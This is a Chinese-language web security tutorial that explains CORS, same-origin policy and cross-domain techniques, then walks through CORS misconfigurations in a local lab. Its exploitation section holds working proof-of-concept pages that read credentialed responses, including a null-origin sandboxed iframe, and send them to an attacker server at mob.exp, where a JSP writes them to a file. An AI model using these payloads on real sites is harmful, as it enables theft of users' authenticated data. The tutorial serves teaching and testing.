跳至主要內容

CORS 跨域漏洞

Mr.zha0cai大约 36 分钟

0x01 漏洞描述

概述

CORS,跨域资源共享(Cross-Origin Resource Sharingopen in new window),是 H5 提供的一种机制,WEB 应用程序可以通过在 HTTP 增加字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源的,当不同域的请求发生时,就出现了跨域的现象。当该配置不当的时候,就导致资源被恶意操作。

当 CORS 的设置不正确时,就会带来安全问题;当响应头中的 Access-Control-Allow-Origin​​ 设置为 null​​ 或 *​​ 时,表示信任任何域,这时候就可能引入安全问题。

「你的 Request 還是有發出去的」,而且瀏覽器也「確實有收到 Response」,重點是「瀏覽器因為同源政策,不把結果傳回給你的 JavaScript」。如果沒有瀏覽器的話其實就沒有這些問題,你愛發給誰就發給誰,不管怎樣都拿得到 Response。open in new window

當瀏覽器收到 Response 之後,會先檢查 Access-Control-Allow-Origin​​​ 裡面的內容,如果裡面有包含現在這個發起 Request 的 Origin 的話,就會允許通過,讓程式順利接收到 Response。

所以,同源策略并不限制请求的发起和响应,只是浏览器拒绝了 js​​​ 对响应资源的操作。【该漏洞的测试误区,要注意同源限制策略是针对浏览器的】

测试方法

  1. 测试人员访问某个 url,将请求头中的 Origin 字段修改为任意值,结果仍然能获得正确的响应报文(这会导致误报不应该使用该测试方法),就说明有 CORS 漏洞
  2. 可以通过浏览器的控制台的 network,查看接口的请求包 response 头中 Access-Control-Allow-Origin 是否设置为 *​​
  3. 也可以通过抓包工具,查看接口返回的 response 中是 Access-Control-Allow-Origin 是否设置为 * or null 等其他配置组合,详见下文。​​

漏洞示例

配置 Access-Control-Allow-Origin 为 *​​

配置 Access-Control-Allow-Origin 但是该值可控

0x02 同源及跨域

什么是同源 & 跨域

同源:协议相同 & 端口相同 & 主机(域名)相同

跨域:上述之一不同,如

  • 网络协议不同,如 http 协议访问 https 协议 ;
  • 端口不同,如 80 端口访问 8080 端口 ;
  • 域名不同,如 www.test1.com 访问 www.test2.com ;
  • 子域名不同,如 abc.test1.com 访问 def.test1.com ;

浏览器将 CORS 请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。

一些应用场景

  • 比如后端开发完一部分业务代码后,提供接口给前端用,在前后端分离的模式下,前后端的域名是不一致的,此时就会发生跨域访问的问题。
  • 程序员在本地做开发,本地的文件夹并不是在一个域下面,当一个文件需要发送 ajax 请求,请求另外一个页面的内容的时候,就会跨域。
  • 电商网站想通过用户浏览器加载第三方快递网站的物流信息。
  • 子站域名希望调用主站域名的用户资料接口,并将数据显示出来。

跨域的方法

https://xz.aliyun.com/t/6614 https://www.bedefended.com/papers/cors-security-guideopen in new window

HTML 标签

<script> <img> <iframe> <link> 等带 src 属性的标签都可以跨域加载资源,而不受同源策略的限制。 每次加载时都会由浏览器发送一次 GET 请求,通过 src 属性加载的资源,浏览器会限(0x03 CORS 详解 )JavaScript 的权限,使其不能读写返回的内容。

常见标签

<script src="..."></script>
<img src="...">
<video src="..."></video>
<audio src="..."></audio>
<embed src="...">
<frame src="...">
<iframe src="..."></iframe>
<link rel="stylesheet" href="...">
<applet code="..."></applet>
<object data="..." ></object>

在 CSS 中,@font-face 可以引入跨域字体。

<style type="text/css">
    @font-face {
        src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf");
    }
</style>

document.domain

同一主域不同子域之间默认不同源,但可以设置 document.domain 为相同的高级域名来使不同子域同源。

document.domain 只能向上设置更高级的域名,需要载入 iframe 来相互操作。

// 父域的运行环境是 http://localhost:9092/
// 同样在部署在同一台服务器上的不同端口的应用也是适用的
<iframe src="http://localhost:9093/b.php" id="iframepage" width="100%" height="100%" frameborder="0" scrolling="yes" onLoad="getData"></iframe>

<script>
    window.parentDate = {
        "name": "hello world!",
        "age": 18
        }
        /**
        * 使用 document.domain 解决 iframe 父子模块跨域的问题
        */
        let parentDomain = window.location.hostname;
        console.log("domain",parentDomain); //localhost
        document.domain = parentDomain;
</script>
<script>
    /**
    * 使用 document.domain 解决 iframe 父子模块跨域的问题
    */
    console.log(document.domain); // localhost
    let childDomain = document.domain;
    document.domain = childDomain;
    let parentDate = top.parentDate;
    console.log("从父域获取到的数据",parentDate);   
    // 此处打印数据为
    // {
    //     "name": "hello world!",
    //     "age": 18
    // }
</script>

window.name

window.name 有一个奇妙的性质, 页面如果设置了 window.name,那么在不关闭页面的情况下, 即使进行了页面跳转 location.href=...,这个 window.name 还是会保留。

利用 window.name 的性质,我们可以在 iframe 中加载一个跨域页面。

这个页面载入之后,让它设置自己的 window.name​​, 然后再让它进行当前页面的跳转,跳转到与 iframe 外的页面同域的页面,此时 window.name​​ 是不会改变的。

这样,iframe 内外就属于同一个域了,且 window.name​​ 还是跨域的页面所设置的值。

假设我们有 3 个页面

a.com/index.html
a.com/empty.html
b.com/index.html

(1)在 a.com/index.html​ 页面中嵌入一个 iframe,设置 src 为 b.com/index.html​ (2)b.com/index.html​ 载入后,设置 window.name​,然后再使用 location.href='a.com/empty.html'​ 跳转到与 iframe 外页面同域的页面中。 (3)在 a.com/index.html​ 页面中,就可以通过 $('iframe').contentWindow.name​ ​来获取 iframe 内页面 a.com/empty.html​ 的 window.name​ ​值了,而这个值正是 b.com/index.html ​设置的。

window.postMessage

window.postMessage(message, targetOrgin) 方法是 html5 新引进的特性。 调用 postMessage 方法的 window 对象是指要接受消息的哪一个 window 对象,该方法的第一个参数 message 为要发送的消息,类型只能为字符串;第二个参数 targetOrgin 用来限定接收消息的那个 window 对象所在的域,如果不想限定域,可以使用通配符 *

需要接收消息的 window 对象,可是通过监听自身的 message 时间来获取传过来的消息,消息内容存储在该事件对象的 data 属性中。

location.hash

location.hash 方式跨域,是子框架具有修改父框架 src 的 hash 值,通过这个属性进行传递数据,且更改 hash 值,页面不会刷新。但是传递的数据的字节数是有限的。

详细参考https://www.cnblogs.com/rainman/archive/2011/02/20/1959325.html#m4open in new window a.html 欲与 b.html 跨域相互通信,通过中间页 c.html 来实现。 三个页面,不同域之间利用 iframe 的 location.hash 传值,相同域之间直接 js 访问来通信。

具体实现步骤:一开始 a.html 给 b.html 传一个 hash 值,然后 b.html 收到 hash 值后,再把 hash 值传递给 c.html,最后 c.html 将结果放到 a.html 的 hash 值中。

flash

flash 有自己的一套安全策略,服务器可以通过 crossdomain.xml 文件来声明能被哪些域的 SWF 文件访问,SWF 也可以通过 API 来确定自身能被哪些域的 SWF 加载。 具体见:https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.htmlopen in new window

JSON & CORS

JSON with Padding,就是利用 script 标签没有跨域限制的特性,使得网页可以从其他来源域动态获取 Json 数据。JSONP 跨域请求一定需要对方的服务器支持才可以。

JSONP 实现流程:

  1. 定义一个 回调函数 handleResponse 用来接收返回的数据
function handleResponse(data) {
    console.log(data);
};
  1. 动态创建一个 script 标签,并且告诉后端回调函数名叫 handleResponse
var body = document.getElementsByTagName('body')[0];
var script = document.gerElement('script');
script.src = 'http://test.com/json?callback=handleResponse';
body.appendChild(script);
  1. 通过 script.src 请求 http://test.com/json?callback=handleResponse,open in new window
  2. 后端能够识别这样的 URL 格式并处理该请求,然后返回 handleResponse({"name": "twosmi1e"}) 给浏览器
  3. 浏览器在接收到 handleResponse({"name": "twosmi1e"}) 之后立即执行 ,也就是执行 handleResponse 方法,获得后端返回的数据,这样就完成一次跨域请求了。

CORS 见下文

0x03 CORS 详解

CORS 是一个 W3C 标准,全称是"跨域资源共享"(Cross-origin resource sharing)。CORS 的基本原理是,第三方网站服务器生成访问控制策略,指导用户浏览器放宽 SOP 的限制,实现与指定的目标网站共享数据。

它允许浏览器向跨源服务器,发出 XMLHttpRequestopen in new window​​​ ​请求,从而克服了 AJAX 只能同源open in new window使用的限制

CORS 需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE 浏览器不能低于 IE10。

整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与同源的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX​​ 请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。

因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨源通信。

  • JSONP 只支持 GET​​ 请求,CORS 支持所有类型的 HTTP 请求。
  • JSONP 的优势在于支持老式浏览器,以及可以向不支持 CORS 的网站请求数据。

CORS 工作流程(针对浏览器的)

  1. 请求方脚本从用户浏览器发送跨域请求。浏览器会自动在每个跨域请求中添加 Origin 头,用于声明请求方的源。
  2. 资源服务器根据请求中 Origin 头返回访问控制策略(Access-Control-Allow-Origin 响应头),并在其中声明允许读取响应内容的源。
  3. 浏览器检查资源服务器在 Access-Control-Allow-Origin 头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许。

简单请求

只要同时满足以下两大条件,就属于简单请求open in new window

(1)请求方法是以下三种方法之一:

  • HEAD
  • GET
  • POST

(2)HTTP 的头信息不超出以下几种字段:

  • Accept
  • Accept-Language
  • Content-Language
  • Last-Event-ID
  • Content-Type:只限于三个值 application/x-www-form-urlencoded​​、multipart/form-data​​、text/plain​​

这是为了兼容表单(form),因为历史上表单一直可以发出跨域请求。AJAX​​ 的跨域设计就是,只要表单可以发,AJAX 就可以直接发。

凡是不同时满足上面两个条件,就属于非简单请求

浏览器对这两种请求的处理,是不一样的。

基本流程

对于简单请求,浏览器直接发出 CORS 请求。

具体来说,就是在头信息之中,增加一个 Origin​​ ​字段。

下面是一个例子,浏览器发现这次跨源 AJAX​​ 请求是简单请求,就自动在头信息之中,添加一个 Origin​​ ​字段。

GET /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面的头信息中,Origin​ ​字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。

如果 Origin​​ ​指定的源,不在许可范围内,服务器会返回一个正常的 HTTP 回应。浏览器发现,这个回应的头信息没有包含 Access-Control-Allow-Origin​​ ​字段(详见下文),就知道出错了,从而抛出一个错误,被 XMLHttpRequest​​ ​的 onerror​​ ​回调函数捕获。注意,这种错误无法通过状态码识别,因为 HTTP 回应的状态码有可能是 200。

如果 Origin​ ​指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。

Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Credentials: true
Access_control-Allow-Method: *
Access-Control-Expose-Headers: FooBar
Content-Type: text/html; charset=utf-8

上面的头信息之中,有三个与 CORS 请求相关的字段,都以 Access-Control-​ ​开头。

(1)Access-Control-Allow-Origin

该字段是必须的。它的值要么是请求时 Origin​​ 字段的值,要么是一个 *​​ ,表示接受任意域名的请求。

(2)Access-Control-Allow-Credentials

该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie​​。默认情况下,Cookie 不包括在 CORS 请求之中。设为 true​​​,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器。这个值也只能设为 true​​​,如果服务器不要浏览器发送 Cookie,删除该字段即可。

(3)Access-Control-Expose-Headers

该字段可选。CORS 请求时,XMLHttpRequest​​ ​对象的 getResponseHeader()​​ ​方法只能拿到 6 个基本字段:Cache-Control​​​、Content-Language​​​、Content-Type​​​、Expires​​​、Last-Modified​​​、Pragma​​​。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers​​ ​里面指定。上面的例子指定,getResponseHeader('FooBar')​​ ​可以返回 FooBar​​ ​字段的值。

(4)Access-Control-Allow-Methods​

该字段表示允许请求的方法,比如 GET, POST, PUT, DELETE 等

​add_header 'Access-Control-Allow-Methods' *;​​ // 表示允许任意方法

服务端的 Nginx 配置

请确保将配置行添加到 http​​ 配置块的大括号 ({}​​) 内并保存重启 Nginx。

http {
    include       mime.types;
    default_type  application/octet-stream;

    # 其他配置...

    # 添加下面这行配置,允许跨域请求的网站
    #add_header 'Access-Control-Allow-Origin' 'http://xxx.xxx.xxx';
    add_header 'Access-Control-Allow-Origin' '*';
    #add_header 'Access-Control-Allow-Credential' 'true';
    add_header 'Access_control-Allow-Method' '*';

    # 其他配置...
}

withCredentials 属性

上面说到,CORS 请求默认不发送 Cookie 和 HTTP 认证信息。如果要把 Cookie 发到服务器,一方面要服务器同意,指定 Access-Control-Allow-Credentials​ ​字段。

Access-Control-Allow-Credentials: true

另一方面,开发者必须在 AJAX​​ 请求中打开 withCredentials​​ ​属性。

var xhr = new XMLHttpRequest();
xhr.withCredentials = true;

否则,即使服务器同意发送 Cookie,浏览器也不会发送。或者,服务器要求设置 Cookie,浏览器也不会处理。

但是,如果省略 withCredentials​ ​设置,有的浏览器还是会一起发送 Cookie。这时,可以显式关闭 withCredentials​​。

xhr.withCredentials = false;

需要注意的是,如果要发送 Cookie,Access-Control-Allow-Origin​​ ​就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie 依然遵循同源政策,只有用服务器域名设置的 Cookie 才会上传,其他域名的 Cookie 并不会上传,且(跨源)原网页代码中的 document.cookie​​ ​也无法读取服务器域名下的 Cookie。

非简单请求

非简单请求是那种对服务器有特殊要求的请求,比如请求方法是 PUT​​ 或 DELETE​​,或者 Content-Type​​ 字段的类型是 application/json​​。

非简单请求的 CORS 请求,会在正式通信之前,增加一次 HTTP 查询请求,称为"预检"请求(preflight​​)

预检请求

浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些 HTTP 动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的 XMLHttpRequest​ ​请求,否则就报错。

下面是一段浏览器的 JavaScript 脚本,在浏览器 consolo​​ 执行。

var url = 'http://api.alice.com/cors';
var xhr = new XMLHttpRequest();
xhr.open('PUT', url, true);
xhr.setRequestHeader('X-Custom-Header', 'value');
xhr.send();

上面代码中,HTTP 请求的方法是 PUT​​,并且发送一个自定义头信息 X-Custom-Header​​。

浏览器发现,这是一个非简单请求,就自动发出一个"预检"请求,要求服务器确认可以这样请求。下面是这个"预检"请求的 HTTP 头信息。

OPTIONS /cors HTTP/1.1
Origin: http://api.bob.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Custom-Header
Host: api.alice.com
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

"预检"请求用的请求方法是 OPTIONS​​​,表示这个请求是用来询问的。头信息里面,关键字段是 Origin​​​,表示请求来自哪个源。

除了 Origin​ ​字段,"预检"请求的头信息包括两个特殊字段。

(1)Access-Control-Request-Method

该字段是必须的,用来列出浏览器的 CORS 请求会用到哪些 HTTP 方法,上例是 PUT​​。

(2)Access-Control-Request-Headers

该字段是一个逗号分隔的字符串,指定浏览器 CORS 请求会额外发送的头信息字段,上例是 X-Custom-Header​​​​。

为什么需要预请求?open in new window

假設今天某個 Server 提供了一個 API 網址叫做:https://example.com/data/16​​,你只要對它發送 GET,就能夠拿到 id 是 16 的資料,只要對它發送 DELETE,就可以把這筆資料刪除。

如果今天沒有 Preflight Request 這個機制的話,我就可以在隨便一個 Domain 的網頁上面發送一個 DELETE 的 Request 給這個 API。剛剛我有強調說瀏覽器的 CORS 機制,還是會幫你發送 Request,但只是 Response 被瀏覽器擋住而已。

因此呢,儘管沒有 Response,但是 Server 端的確收到了這個 Request,因此就會把這筆資料給刪除。

如果有 Preflight Request 的話,在發送出去收到結果的時候,就會知道這個 API 並沒有提供 CORS,因此真的 DELETE 請求就不會送出,到這邊就結束了。

先用一個 OPTIONS 的請求去確認之後的 Request 能不能送出,這就是 Preflight Request 的目的。

预检请求的回应

服务器收到"预检"请求以后,检查了 Origin​​、Access-Control-Request-Method​ ​和 Access-Control-Request-Headers​ ​字段以后,确认允许跨源请求,就可以做出回应。

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://api.bob.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

上面的 HTTP 回应中,关键的是 Access-Control-Allow-Origin​​ ​字段,表示 http://api.bob.com​​ ​可以请求数据。该字段也可以设为星号,表示同意任意跨源请求。

Access-Control-Allow-Origin: *

如果服务器否定了"预检"请求,会返回一个正常的 HTTP 回应,但是没有任何 CORS 相关的头信息字段。这时,浏览器就会认定,服务器不同意预检请求,因此触发一个错误,被 XMLHttpRequest​​ ​对象的 onerror​​ ​回调函数捕获。控制台会打印出如下的报错信息。

XMLHttpRequest cannot load http://api.alice.com.
Origin http://api.bob.com is not allowed by Access-Control-Allow-Origin.

服务器回应的其他 CORS 相关字段如下。

Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Custom-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1728000

(1)Access-Control-Allow-Methods

该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次"预检"请求。

(2)Access-Control-Allow-Headers

如果浏览器请求包括 Access-Control-Request-Headers​ ​字段,则 Access-Control-Allow-Headers​ ​字段是必需的。它也是一个逗号分隔的字符串,表明服务器支持的所有头信息字段,不限于浏览器在"预检"中请求的字段。

(3)Access-Control-Allow-Credentials

该字段与简单请求时的含义相同。

(4)Access-Control-Max-Age

该字段可选,用来指定本次预检请求的有效期,单位为秒。上面结果中,有效期是 20 天(1728000 秒),即允许缓存该条回应 1728000 秒(即 20 天),在此期间,不用发出另一条预检请求。

浏览器的正常请求和回应

一旦服务器通过了"预检"请求,以后每次浏览器正常的 CORS 请求,就都跟简单请求一样,会有一个 Origin​​ ​头信息字段。服务器的回应,也都会有一个 Access-Control-Allow-Origin​​ ​头信息字段。

下面是"预检"请求之后,浏览器的正常 CORS 请求。

PUT /cors HTTP/1.1
Origin: http://api.bob.com
Host: api.alice.com
X-Custom-Header: value
Accept-Language: en-US
Connection: keep-alive
User-Agent: Mozilla/5.0...

上面头信息的 Origin​ ​字段是浏览器自动添加的。

下面是服务器正常的回应。

Access-Control-Allow-Origin: http://api.bob.com
Content-Type: text/html; charset=utf-8

上面头信息中,Access-Control-Allow-Origin​ ​字段是每次回应都必定包含的。

0x04 CORS 错误配置类型

反射 Origin 头

如下配置:

Access-Control-Allow-Origin: http://a.com, http://c.com

或者

Access-Control-Allow-Origin: http://*.a.com

这两种域名事实上配置是错误的,因为 CORS 标准规定,Access-Control-Allow-Origin​​ 只能配置为单个 origin, null​​ 或 *​​。如果开发者想要实现同时与多个域名共享域名的需求,则需要专门编写代码或者使用框架来协助动态生成访问控制策略。

最简单地动态生成访问控制策略的方法,就是在 Access-Control-Allow-Origin 中反射请求的 Origin 值。例如,下面是一个错误 Nginx 配置示例:

add_header "Access-Control-Allow-Origin" $http_origin; // 单纯的
add_header "Access-Control-Allow-Credentials" "true";

这种配置非常危险,相当于信任任意网站,给攻击者网站敞开了大门。任意攻击者网站可以直接跨域读取其资源内容。

Origin 校验错误

  • 前缀匹配: 资源服务器在检查请求中 Origin 值时,只匹配了前缀。例如 www.example.com 想要允许 example.com 访问,但是只做了前缀匹配,导致同时信任了 example.com.attack.com 的访问,而 example.com.attack.com 是攻击者可以控制的网站。
  • 后缀匹配:资源服务器在检查请求中 Origin 值时,只做了后缀匹配。例如 www.example.com 想要允许 example.com 访问,由于后缀匹配出错,导致允许 attackexample.com 访问。
  • 没有转义 .​​:例如,example.com 想要允许 www.example.com 访问时,但正则匹配没有转义 .​​,导致允许 wwwaexample.com 访问。
  • 包含匹配:我们还发现有的网站 www.example.com 想要允许 example.com,但是 Origin 校验出错,出现允许 ample.com 访问。

信任 null

RFC 6564 规定,如果请求来自隐私敏感上下文时,Origin 头的值应该为 null,但是它却没有明确界定什么是隐私敏感上下文。

CORS 协议复用了 Origin 头,有些开发者在网站上配置信任 null,用于与本地 file 页面共享数据,如下所示:

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

但是事实上,除了本地 file 页面的跨域请求 Origin 头为 null 外,攻击者还可以从任意域下通过 iframe sandbox 构造 Origin 为 null 的跨域请求,如下是一段示意代码:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>XMLHttpRequest here</script>’></iframe>

这就意味着任何配置有 Access-Control-Allow-Origin: null​​ ​和 Access-Control-Allow-Credentials:true​​ ​的网站等同于没有浏览器 SOP 的保护,都可以被其他任意域以这种方式读取内容。

e.g.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open("GET", "http://www.vuln.com:8081/cors/corsvuln.jsp", true);
xhr.withCredentials = true;
xhr.send();</script>'>
</iframe>

HTTPS 域信任 HTTP 域

中间人攻击者可以先劫持受信任 HTTP 域,然后通过这个域发送跨域请求到 HTTPS 网站,间接读取 HTTPS 域下的受保护内容。

信任自身全部子域

很多网站为了方便会将 CORS 配置为信任全部自身子域,这种配置会导致子域 XSS 的危害被强化。为了防止某个子域上 XSS 漏洞的危害其他子域,浏览器设计了 Cookie 的 httponly 标志,用于限制 Javascript 读取 Cookie,因此某个子域 XSS 不能读取带有 httponly 标记的 Cookie,难以窃取其他重要子域上的敏感内容。 但是如果这个域配置了 CORS 且信任全部子域,那么攻击者可以利用其他任意子域上 XSS 漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容。

Origin:*​​​Credentials:true​​​ 共用

CORS 规定,Access-Control-Allow-Origin:*​​ 与 Access-Control-Allow-Credentials:true​​ 不能同时使用。浏览器会对下面这种误配置报错:

Access-Control-Allow-Origin: * 
Access-Control-Allow-Credentials: true 

这就意味着,Access-Control-Allow-Origin:*​​ 只能用于共享公开资源。

缺少 Vary:Origin​​​ 头

当资源服务器需要共享多个域名时,它需要每个不同请求域的跨域请求生成不同的访问控制策略。但一旦这个资源内容需要被缓存,则会带来 CORS 失效问题。例如,c.com 同时允许 a.com 和 b.com 共享。c.com 资源内容首先被 a.com 脚本跨域访问后被缓存,其中缓存响应头为 Access-Control-Allow-Origin: http://a.com​​”。这时,b.com 脚本则不能读取缓存响应内容,因为缓存响应头是允许 a.com 共享,而不是 b.com。HTTP 协议提供了 Vary 头,用于解决这种情况,资源服务器需要在响应头中配置 Vary:Origin​​ 头来指导缓存,为每个不同的 Origin 头缓存一份不同的内容

0x05 挖掘利用

CORS 的漏洞主要看当我们发起的请求中带有 Origin 头部字段时,服务器的返回包带有 CORS 的相关字段并且允许 Origin 的域访问。

变换请求头的 origin 字段,如果返回包中的 Access-Control-Allow-Origin​​ 内容和发送的 origin 头内容相同,则存在此问题。

利用

  • 前提:含有 CORS 配置的网站
  • 利用 html 标签和表单发送请求
  • 访问内网敏感资源
  • 绕过返会话劫持

一般形式跨域请求利用

在攻击者自己控制的网页上嵌入跨域请求,用户访问链接,执行了跨域请求,从而攻击目标。

方法一:检测工具

EXP & POC

<!-- mob.exp/steal.html  -->
<!DOCTYPE html>
<html lang="en">
<h1>Hello,this is evil page. </h1>
<h2>CORS POC Exploit</h2>

<div id="demo">
    <button type="button" onclick="corsExploit()">Exploit</button>
</div>

<script type="text/javascript">
    function corsExploit() {
        var xhr = new XMLHttpRequest();

        xhr.onreadystatechange = function () {
            if (xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
            {
                //var datas=xhr.responseText;
                //alert(datas);
                //document.getElementById("demo").innerHTML = alert(this.responseText);
                document.getElementById("demo").innerHTML = alert(xhr.responseText);

            }
        }
        // request vuln page,需要攻击的目标
        xhr.open("GET", "http://www.vuln.com:8081/cors/corsvuln.jsp", "true")
        xhr.send();
    }
</script>
</html>
  1. 在攻击这服务器创建 cookiebypass.jsp​​
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%
    String res = request.getParameter("ck");

    String fileName = "secrect.html";
    String webPath = application.getRealPath("/");
    String filePath = webPath + fileName;

    try {
        java.io.FileWriter fileWriter = new java.io.FileWriter(filePath);
        fileWriter.write(res);
        fileWriter.close();
        out.println("File created successfully.");
    } catch (java.io.IOException e) {
        out.println("Error occurred while creating the file.");
        e.printStackTrace();
    }
%>
  1. 在攻击者可控网站创建 steal.html​​
<!DOCTYPE>
<html>
<h1>cors exploit</h1>
<script type="text/javascript">
    function exploit() {
        var xhr1;
        var xhr2;
        if (window.XMLHttpRequest) {
            xhr1 = new XMLHttpRequest();
            xhr2 = new XMLHttpRequest();
        } else {
            xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
            xhr2 = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xhr1.onreadystatechange = function () {
            if (xhr1.readyState == 4 && xhr1.status == 200) {
                var datas = xhr1.responseText;
                // 攻击这服务器地址
                xhr2.open("POST", "http://mob.exp:8081/manager/cookiebypass.jsp", "true");
                xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xhr2.send("ck=" + escape(datas));
            }
        }
        // 需要攻击的目标
        xhr1.open("GET", "http://www.vuln.com:8081/cors/corsvuln.jsp", "true")
        xhr1.withCredentials = true;
        xhr1.send();
    }

    exploit();
</script>
</html>

访问 mob.exp:8081/manager/steal.htmlopen in new window,可以看到返回内容写入 secrect.html 中。

方法二:利用 Burpsuit

搭建测试环境,Nginx 配置如下:

  1. 选择 Proxy -- Options -- Match and Replace,勾选 Request header。

    将空替换为 Origin:foo.example.org​​​ 的 Enable 框。

    然后在网站一阵乱点,最后在 HTTP history 来筛选带有 CORS 头部的值,然后用以上工具查看是否有配置缺陷。

  1. Burpsuite:自动在 HTTP 请求包中加上 Origin 的头部字段。
  1. 在 Filter by search term 中输入:Access-Control-Allow-Origin: foo.example.org​​
  1. HTTP history 列表中出现符合条件的请求包,点击 Ctrl+R(发送到 Repeater),点击 GO,观察返回的 CORS 配置。

方法三:curl 命令

curl 命令,输入

curl http://127.0.0.1/DoraBox-master/csrf/userinfo.php -H "Origin: https://example.com/" -I

方法四:浏览器测试

利用 Ajax 发送一个简单请求,看是否允许。

var url = 'http://172.16.10.113/xxxxmail';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.send();

// 或者
$.get("http://172.16.10.113/xxxxmail")

========
# 浏览器控制台示例
# 在服务器(被攻击目标) 192.168.202.110 上配置有漏洞的 nginx.conf
# 打开攻击者的网站 http://xxx.xxx.xxx/,(或者随便一个网站)再打开控制台
# 在允许的域(网站),打开控制台
$.get("http://192.168.202.110:8081")
{readyState: 1, getResponseHeader: ƒ, getAllResponseHeaders: ƒ, setRequestHeader: ƒ, overrideMimeType: ƒ,}

# 不允许的域
$.get("http://192.168.202.110:8081")
{readyState: 1, getResponseHeader: ƒ, getAllResponseHeaders: ƒ, setRequestHeader: ƒ, overrideMimeType: ƒ,}
/xxxmail/xxx4/index.jsp Access to XMLHttpRequest at 'http://192.168.202.110:8081/' from origin 'http://172.16.10.113' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value 'http://mt.icoremail.net' that is not equal to the supplied origin.
loginCommon.c2f53.js:1     GET http://192.168.202.110:8081/ net::ERR_FAILED 200 (OK)
send @

实验测试

环境准备

我们首先修改 host 文件,加上

127.0.0.1 mob.exp
127.0.0.1 www.vuln.com 

这样我们访问 www.vuln.com 就相当于服务端。服务端新建 corsvuln.jsp。

<!-- http://www.vuln.com:8081/cors/corsvuln.jsp -->
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
  <title>Vulnerability Page</title>
</head>
<body>
<%
  out.println("username: admin; password: 123456");
%>
</body>
</html>

接着在 hacker 端 mob.exp 构造 steal.html,这里我们假设是 http://mob.exp:8081/manager/steal.htmlopen in new window

<!-- mob.exp/steal.html  -->
<!DOCTYPE>
<html>
<h1>Hello,this is evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
    var xhr = new XMLHttpRequest();

    xhr.onreadystatechange=function()
    {
        if(xhr.readyState == 4 && xhr.status == 200) //if receive xhr response
        {
            var datas=xhr.responseText;
            alert(datas);
        }
    }
    // request vuln page,存在漏洞的攻击目标
    xhr.open("GET","http://www.vuln.com:8081/cors/corsvuln.jsp","true") 
    xhr.send();
}
loadXMLDoc();
</script>
</html>

根据同源策略,这是不允许的,结果也和我们想的一样。

上面说过,同源策略并不限制请求的发起和响应,只是浏览器拒绝了 js 对响应资源的操作,这点我们抓包就可以看出来。(所以说测试方法中的 1 是不对的)

我们修改 corsvuln.jsp 使用 CORS 使其可以跨域访问,添加一个 Access-Control-Allow-Origin 的返回头。

response.setHeader("Access-Control-Allow-Origin", "http://mob.exp:8081");

再次访问 mob.exp:8081/manager/steal.htmlopen in new window 发现可以正常 alert 了,成功实现了跨域资源的请求。

我们只是在响应头加上了 Access-Control-Allow-Origin: http://mob.exp:8081​​ 浏览器看到这个,认为这是服务端允许的跨域请求,就不再阻拦 js 对获取内容的操作了。

获取用户凭证

方式一:存在用户凭证

Access-Control-Allow-Origin“访问控制允许凭据”值是否可利用备注
攻击者掌握的域名真的
*真的浏览器报错
null(空值)真的任意网站使用沙盒 iframe 来获取 null

搜狐视频 CORS 误配置漏洞演示:https://www.youtube.com/watch?v=PWbPbtyyNi8open in new window

方式二:不存在用户凭证

Access-Control-Allow-Origin是否可利用
攻击者掌握的域名
null(空值)
*

绕过基于 IP 的认证

如果目标应用程序与受害者的网络可达性,并且目标应用程序使用 IP 地址作为身份验证的方式,则黑客会利用受害者的浏览器作为代理去访问那些目标应用程序并且可以绕过那些基于 IP 的身份验证。

客户端缓存中毒

